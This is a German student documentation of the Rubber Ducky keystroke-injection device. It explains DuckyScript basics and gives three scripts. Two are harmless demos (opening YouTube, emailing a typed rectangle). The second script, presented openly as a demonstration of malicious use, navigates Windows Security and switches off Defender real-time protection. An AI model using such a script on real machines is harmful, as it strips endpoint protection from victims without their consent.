Dokumentation-Rubber Ducky

Als EK mit dem Rubber Ducky habe ich die Eigenschaften des Gerätes kennengelernt und 3 Programme/Skripte geschrieben.

Der Rubber Ducky ist ein Keystroke-Injection-Tool und wurde von Hak5 2010 auf den Markt gebracht. Ich habe sogar die Neuversion des Geräts mit Duckyscript 3.0 (Das ist die Programmiersprache für den Rubber Ducky und weiteren Geräten von Hak5). Dieses Tool sieht für einen Menschen wie ein normaler USB-Stick aus, wird aber von Computern oder anderen Geräten als eine Tastatur erkannt. So kann man mit DuckyScript ein Programm erstellen, das eine bestimmte Folge von Tastenschlägen auf der Tastatur ausübt, und das in sehr hoher Geschwindigkeit. Das wird aber auch von Hackern genutzt, um schnell und unauffällig beispielsweise Malware auf den Rechner seines Opfer herunterzuladen. Ursprünglich hat der Entwickler Darren Kitchen dieses Werkzeug erfunden, um seinen kaputten Drucker zu reparieren. Heute ist es als bekanntes Hacking-Tool bekannt und ist legal, da er nicht nur für böse Zwecke genutzt werden kann.

Grundbefehle von Duckyscript:

REM: REM wird für Kommentare benutzt.

Bsp: *REM Das ist ein Kommentar*

STRING: Nach einem String werden festgelegte Tasten betätigt.

Bsp: *STRING Hello, World!* ←(Es wird „Hello, World!“ getippt)

STRINGLN: Wie ein String, nur, dass danach die Entertaste betätigt wird.

Bsp: *STRINGLN google.com* ←(Beispielsweise würde hier wenn man in einem Browser wäre, google.com eingegeben und gesucht werden)

Außerdem gibt es noch für jede eigene Taste einen Befehl wie: **ENTER**, **GUI/WINDOWS**, **ALT, CTRL**, **F4**, **F8** u.s.w.

Programm 1 (Youtube öffnen und Video abspielen):

Skript:

```
REM Author Christian Parushev
REM Google wird per Kommandozeile
REM geöffnet danach youtube.com aufgerufen
REM und ein Video abgespielt.

REM Ducky wird in den "Attackiermodus" eingestellt
ATTACKMODE HID

REM mit Windows r die Kommandozeile öffnen
WINDOWS r
DELAY 200
STRINGLN start Chrome

REM Youtubelink wird eingegeben
STRINGLN https://www.youtube.com/watch?v=zhEWqfP6V_w&t=5s&ab_channel=FIFA
```

Attackmode HID bedeutet hier, dass nach dem reinstecken des Sticks gleich der „Attackiermodus“ eingeschaltet wird und man einen Button im Ducky extra drücken muss, falls man den Ducky als USB-Stick erkannt haben will. Danach wird mittels Windows r das „Ausführen-Fenster“ und die Kommandozeile ausgeführt. Darin wird Chrome gestartet und dann in Google die URL eingegeben. Die Delays sind dafür da, etwas u warten falls der Rechner länger lädt um etwas zu öffnen.

Programm 2 (Windows-Defender deaktivieren):

Skript:

```
REM Author Christian Parushev
REM Windows-Defender wird deaktiviert


REM Windows-Sicherheit öffnen
DELAY 1000
GUI s
DELAY 750
STRING Windows-Sicherheit
ENTER
DELAY 200

REM zu Viren- und Bedrohungsschutz und ausschalten
ENTER
DELAY 500
ENTER
DELAY 500
```

```
TAB
TAB
TAB
TAB
DELAY 500
ENTER
DELAY 500
REM Virenschutz deaktivieren
SPACE
DELAY 500
REM Bestätigen mit linker Maustaste und Enter
LEFTARROW
ENTER
DELAY 500
REM Programm schließen
ALT F4
```

Da der Ducky auch für böse Zwecke genutzt werden kann, wollte ich auch so eine Art der Einsetzung demonstrieren. In diesem Programm wird der Windows-Defender geöffnet und der Virenschutz ausgeschaltet. Mit Windows-s wird einfach die Sucheingabe geöffnet und danach der Windows-Defender mittels der Eingabe „Windows-Sicherheit“. Der Virenschutz wird ausgewählt und mit der TAB-Taste zum jeweiligen „Link“ für das Ausschalten. Danach wird die Space-Taste betätigt um den Virenschutz auszuschalten und mit der linken Pfeiltaste und Enter das Deaktivieren bestätigt. Zum Schluss wird der Defender noch geschlossen.

Programm 3 (Automatisches Rechteck erstellen und per gmail verschicken):

Skript:

```
REM Dieses Programm schickt eine
REM E-Mail in der ein autmatisch generiertes
REM Rechteck ist

DELAY 500

REM cmd und gmail.com aufrufen
WINDOWS r
DELAY 200
STRINGLN cmd

DELAY 500
STRINGLN start Chrome https://www.gmail.com

REM Neue Nachricht schreiben
DELAY 2000
TAB
TAB
TAB
TAB
TAB
TAB
TAB
TAB
TAB
TAB
TAB
TAB
TAB

DELAY 700
ENTER

REM Sender angeben
DELAY 1000
STRINGLN christian.parushev@gmail.com

REM Zu Betreff wechseln und Betreff angeben
DELAY 500
TAB

STRING E-Mail von Rubber Ducky
```

```
REM Zur E-Mail Eingabe wechseln und schreiben
DELAY 500
TAB

REM Überprüfung ob Capslock eingeschaltet ist
REM falls ja soll es ausgeschaltet werden
DELAY 500
IF ($_CAPSLOCK_ON == TRUE) THEN
    CAPSLOCK
END_IF

REM Int-Variablen für Laenge und Breite
VAR $Lang = 5
VAR $Breit = 3

REM Zaehler für die Breite
VAR $BreitZaehler = 0
VAR $LangZaehler = 0
REM Schleife für die erstellung des Rechtecks
DELAY 200
WHILE($BreitZaehler < $Breit)
    WHILE($LangZaehler < $Lang)
        REM Als Dreieck werden Sterne eingetippt
        STRING *
        DELAY 500
        $LangZaehler = ($LangZaehler + 1)
    END_WHILE
    ENTER
    $BreitZaehler = ($BreitZaehler + 1)
    $LangZaehler = 0
END_WHILE

ENTER
ENTER

STRING Dieses Dreieck wurde automatisch erstellt

REM Abschicken der E-Mail
TAB
ENTER
```

In diesem Programm wird normal wie bei den anderen Chrome und danach G-Mail geöffnet und mit den Tabs eine Neue Mail an mich mit einem passenden Betreff erstellt. Danach habe ich 2 Variablen für Breite und Länge erstellt und mittels 2 WHILE-Schleifen ein Dreieck mit der Länge 5 und breiter 3 eingetippt und noch eine „kurze Erklärung“ erstellt. Davor noch eine IF-Bedingung falls der CAPSLOCK and ist, dass er ausgeschaltet werden soll. schlussendlich wird er dann an mich geschickt.